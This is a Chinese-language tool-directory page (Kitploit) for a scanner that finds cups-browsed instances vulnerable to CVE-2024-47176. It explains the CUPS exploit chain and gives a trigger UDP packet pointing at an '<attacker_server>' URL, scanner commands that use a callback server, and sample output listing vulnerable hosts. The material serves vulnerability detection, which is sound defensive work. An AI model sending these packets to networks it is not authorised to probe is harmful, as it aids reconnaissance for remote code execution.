Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-47176-Scanner — 一个用于识别网络上存在漏洞的cups-browsed实例的简单扫描器。 | Kitploit
工具/GitHubGitHub/malwaretech/cve-2024-47176-scanner
侦察漏洞扫描器漏洞利用信息收集网络安全渗透测试
GitHubmalwaretech/cve-2024-47176-scanner

CVE-2024-47176-Scanner

一个用于识别网络上存在漏洞的cups-browsed实例的简单扫描器。

查看仓库
66131年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

快速开始

示例用法:python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.1:1337

CVE-2024-47176 漏洞扫描器 (cups-browsed)

什么是 CUPS 以及它为何重要?

CUPS(通用 UNIX 打印系统)是一个开源框架,用于在 UNIX 及类 UNIX 系统上管理和控制打印机。 它是打印领域最广泛使用的库之一,受 UNIX、Linux 及部分苹果设备支持。

CUPS 中发现了多个严重漏洞,串联利用后可导致远程代码执行。 涉及的 CVE 编号为:CVE-2024-47176、CVE-2024-47076、CVE-2024-47175、CVE-2024-47177。

这些漏洞允许远程攻击者添加或重新配置网络打印机,使得用户在尝试打印时执行任意代码。

扫描存在漏洞的 CUPS 系统

CVE-2024-47176 快速概述

漏洞链中的第一个漏洞 CVE-2024-47176,存在于 cups-browsed 守护进程中。

该漏洞源于 cups-browsed 将其控制端口(UDP 端口 631)绑定到 INADDR_ANY,从而暴露给外部世界。 由于请求无需身份验证,任何能够访问控制端口的人都可以指示 cups-browsed 执行打印机发现。

当端口无法从互联网访问(由于防火墙或 NAT)时,仍可能通过本地网络访问,从而实现权限提升和横向移动。 因此,我编写了这个扫描器,用于在本地网络中扫描存在漏洞的 cups-browsed 实例。

CVE-2024-47176 扫描的工作原理

通常,攻击者会通过向 UDP 端口 631 上的 cups-browsed 发送精心构造的请求来开始利用过程,使其访问攻击者控制的恶意 URL。

例如,包含以下内容的 UDP 数据包:0 3 http://<attacker_server>/printers/malicious_printer 将触发 cups-browsed 向 http://<attacker_server>/printers/malicious_printer 发出 HTTP 请求。

如果该 URL 呈现为一个恶意打印机,则可以串联其他 CVE 漏洞以实现远程代码执行。

利用这种机制,我们可以触发存在漏洞的 cups-browsed 实例向我们的服务器发出 HTTP 请求(回调),从而将其自身标记为存在漏洞。

扫描过程如下:

  1. 搭建一个基本的 HTTP 服务器(无需伪装成打印机,因为我们不会利用 RCE 漏洞)。
  2. 构造一个 UDP 数据包,指示 cups-browsed 连接到我们的 HTTP 服务器。
  3. 将 UDP 数据包发送到指定范围内每个 IP 的端口 631。
  4. 记录所有发送到 /printers/ 端点的 POST 请求,这些请求由存在漏洞的 cups-browsed 实例触发。

假设我们的 HTTP 服务器托管在 10.0.0.1:1337,则 UDP 数据包应如下所示:0 3 http://10.0.0.1:1337/printers/test1234

使用 cups_scanner.py 自动扫描

此 Python 扫描器为您处理一切(包括 HTTP 服务器和扫描)。

该脚本通过 http.server 在指定的 IP 和端口上启动一个临时 HTTP 服务器,然后构造并向指定范围内的每个 IP 发送 UDP 数据包。 HTTP 服务器将自动捕获来自存在漏洞的 cups-browsed 实例的回调,并将其记录到磁盘。

用户友好的日志写入 logs/cups.log,原始 HTTP 请求写入 logs/requests.log

命令行参数

--target 要扫描的 CIDR 范围。可以是单个 CIDR 或多个以逗号分隔的 CIDR。
--callback 托管 HTTP 服务器的本地 IP 和端口(必须能被目标范围访问)
--scan-unsafe 默认情况下,我们只扫描可分配的主机地址(排除网络地址和广播地址)。 在某些情况下可能需要扫描这些地址,因此可以通过 --scan-unsafe 标志覆盖此行为。

示例用法

从 IP 地址 10.0.0.1 扫描 CIDR 10.0.0.0/24,回调服务器托管在端口 1337:
python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.1:1337

从 IP 地址 10.0.0.1 扫描多个 CIDR,回调服务器托管在端口 1337:
python3 cups_scanner.py --targets 10.0.0.0/24,10.0.1.0/24 --callback 10.0.0.1:1337

注意:回调服务器的 IP 必须属于扫描主机,且端口必须能被所有目标 IP 访问。

示例输出

root@kitploit:~
<root@haxx> python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.0.1:1337
[2024-10-06 21:57:09] starting callback server on 10.0.0.1:1337
[2024-10-06 21:57:14] callback server running on port 10.0.0.1:1337...
[2024-10-06 21:57:14] starting scan
[2024-10-06 21:57:14] scanning range: 10.0.0.1 - 10.0.0.254
[2024-10-06 21:57:14] scan done, use CTRL + C to callback stop server
[2024-10-06 21:57:14] received callback from vulnerable device: 10.0.0.22 - CUPS/2.4.10 (Linux 5.10.0-kali7-amd64; x86_64) IPP/2.0
[2024-10-06 21:57:14] received callback from vulnerable device: 10.0.0.25 - CUPS/2.4.10 (Linux 5.10.0-kali7-amd64; x86_64) IPP/2.0
[2024-10-06 21:57:17] shutting down server and exiting...

更多信息请参阅:官方 CUPS 漏洞分析文章

下载工具